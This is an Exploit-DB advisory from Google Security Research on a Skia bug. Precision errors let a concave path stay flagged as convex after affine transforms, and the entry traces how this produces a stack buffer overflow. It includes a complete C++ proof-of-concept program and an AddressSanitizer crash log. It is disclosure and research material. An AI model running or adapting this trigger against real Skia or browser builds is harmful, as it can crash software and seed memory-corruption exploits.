Exploit-DB #46332
Description: Skia - Incorrect Convexity Assumptions Leading to Buffer Overflows
Type: dos
Platform: multiple
Date: 2019-02-06
Author: Google Security Research

Exploit:
I was looking into the root cause of https://bugs.chromium.org/p/chromium/issues/detail?id=850350. In that bug, due to precision errors, Skia generated a concave RRect, but declared it convex. Later, the RRect was transformed with an affine transform and used as a clipping region for drawing. Because the convex path filling algorithm was used while the path was actually concave, this broke some assumptions and led to a stack out-of-bounds write.

The bug was fixed by addressing the precision errors in RRect generation. However, there is another subtle issue:

If Skia ever declares a path convex, the convexity attribute is going to survive affine transforms. Normally, in geometry, transforming a convex path with an affine transform is always going to result in a convex path. However, in Skia, due to precision limitations, that assumption might be incorrect because:

 a) Due to precision errors, Skia may declare a polygon with tiny concavities to be convex. Using an affine transform, the concavities can then be rotated and enlarged.
 b) It might be possible, that due to precision errors, applying an affine transform on a convex path might result in tiny concavities that can be blown up by subsequent transformations.

There are possible multiple places where using a concave polygon with incorrect convexity attribute might lead to problems. The one I used in the PoC is the same as in https://bugs.chromium.org/p/chromium/issues/detail?id=850350. What happens there is walk_convex_edges() being used on a concave path:
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?l=213&rcl=61c5108108acaeb4ee7fc8cb97c41f4f97d99040
This leads to breaking another Skia assumption - that the image is always going to be rendered in the top-to-bottom, left-to-right order.
If the path is used as a clipping region, this leads to incorrect ordering of runs in SkRgnBuilder. When the correspoding SkRgnClipBlitter is used, the "left < right" assumption gets broken here
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkBlitter.cpp?l=612&rcl=b2a232fb20358ccd6c7c2fafb7e83e444e4e2458
which results in calling SkAlphaRuns::Break with the negative "count" argument, which leads to out-of-bounds write here:
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkAntiRun.h?g=0&rcl=c640d0dc96924699fdbb1a3cbdc907aa07b1cb3c&l=154

The following Skia program demonstrates the issue:

=================================================================

#include <stdio.h>

#include "SkCanvas.h"
#include "SkPath.h"
#include "SkBitmap.h"
#include "SkRegion.h"

int main(int argc, char * const argv[]) {

  SkBitmap bitmap;
  bitmap.allocN32Pixels(24, 24);
  SkCanvas canvas(bitmap);

  SkPaint paint;
  paint.setAntiAlias(true);
  paint.setStyle(SkPaint::kFill_Style);

  // This is monotone in both x and y, but has a tiny concavity
  SkPath path;
  path.moveTo(-1,-1);
  path.lineTo(0, 0);
  path.lineTo(0, 0.5e-10);
  path.lineTo(0.1e-10, 1.1e-10);
  path.lineTo(1.5e-10, 1.1e-10);
  path.lineTo(1.5e-10, 2.5e-10);
  path.lineTo(0.9, 1);
  path.lineTo(-1, 1);
  path.close();

  // If asked, Skia is going to declare it convex
  if(path.isConvex()) {
    printf("convex\n");
  } else {
    printf("not convex\n");
  }

  // The convexity flag is going to survive all affine transforms
  // Even those that will enlarge the concavity and make the path
  // non-monotone.
  SkMatrix m;
  m.setRotate(-45);
  m.postScale(10e10, 10e10);
  m.postSkew(-1, 0);
  m.postTranslate(1, 10);
  path.transform(m);

  // As demonstrated here
  if(path.isConvex()) {
    printf("convex\n");
  } else {
    printf("not convex\n");
  }

  // We'll use the path as a clip region
  canvas.clipPath(path);

  // And now we'll just draw a simple triangle.
  SkPath path2;
  path2.moveTo(15.5, 15);
  path2.lineTo(50.5, 50);
  path2.lineTo(-19.5, 50);
  path2.close();
  canvas.drawPath(path2, paint);

  printf("done\n");

  return 0;
}

=================================================================

ASan log:

=================================================================
==139872==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc5c8950d4 at pc 0x[PII_REDACTED]2e bp 0x7ffc5c894f30 sp 0x7ffc5c894f28
WRITE of size 1 at 0x7ffc5c8950d4 thread T0
    #0 0x135512d in SkAlphaRuns::Break(short*, unsigned char*, int, int) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkAntiRun.h:154:26
    #1 0x135512d in SkRgnClipBlitter::blitAntiH(int, int, unsigned char const*, short const*) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkBlitter.cpp:615
    #2 0xac437f in SkBlitter::blitAntiH2(int, int, unsigned int, unsigned int) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkBlitter.h:96:15
    #3 0x1465fa4 in blit_trapezoid_row(AdditiveBlitter*, int, int, int, int, int, int, int, unsigned char, unsigned char*, bool, bool, bool) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkScan_AAAPath.cpp
    #4 0x1465fa4 in aaa_walk_convex_edges(SkAnalyticEdge*, AdditiveBlitter*, int, int, int, int, bool) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkScan_AAAPath.cpp:1187
    #5 0x1465fa4 in aaa_fill_path(SkPath const&, SkIRect const&, AdditiveBlitter*, int, int, bool, bool, bool) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkScan_AAAPath.cpp:1669
    #6 0x1465fa4 in SkScan::AAAFillPath(SkPath const&, SkBlitter*, SkIRect const&, SkIRect const&, bool) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkScan_AAAPath.cpp:1713
    #7 0xad5687 in SkScan::AntiFillPath(SkPath const&, SkRegion const&, SkBlitter*, bool, SkDAARecord*) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkScan_AntiPath.cpp:844:9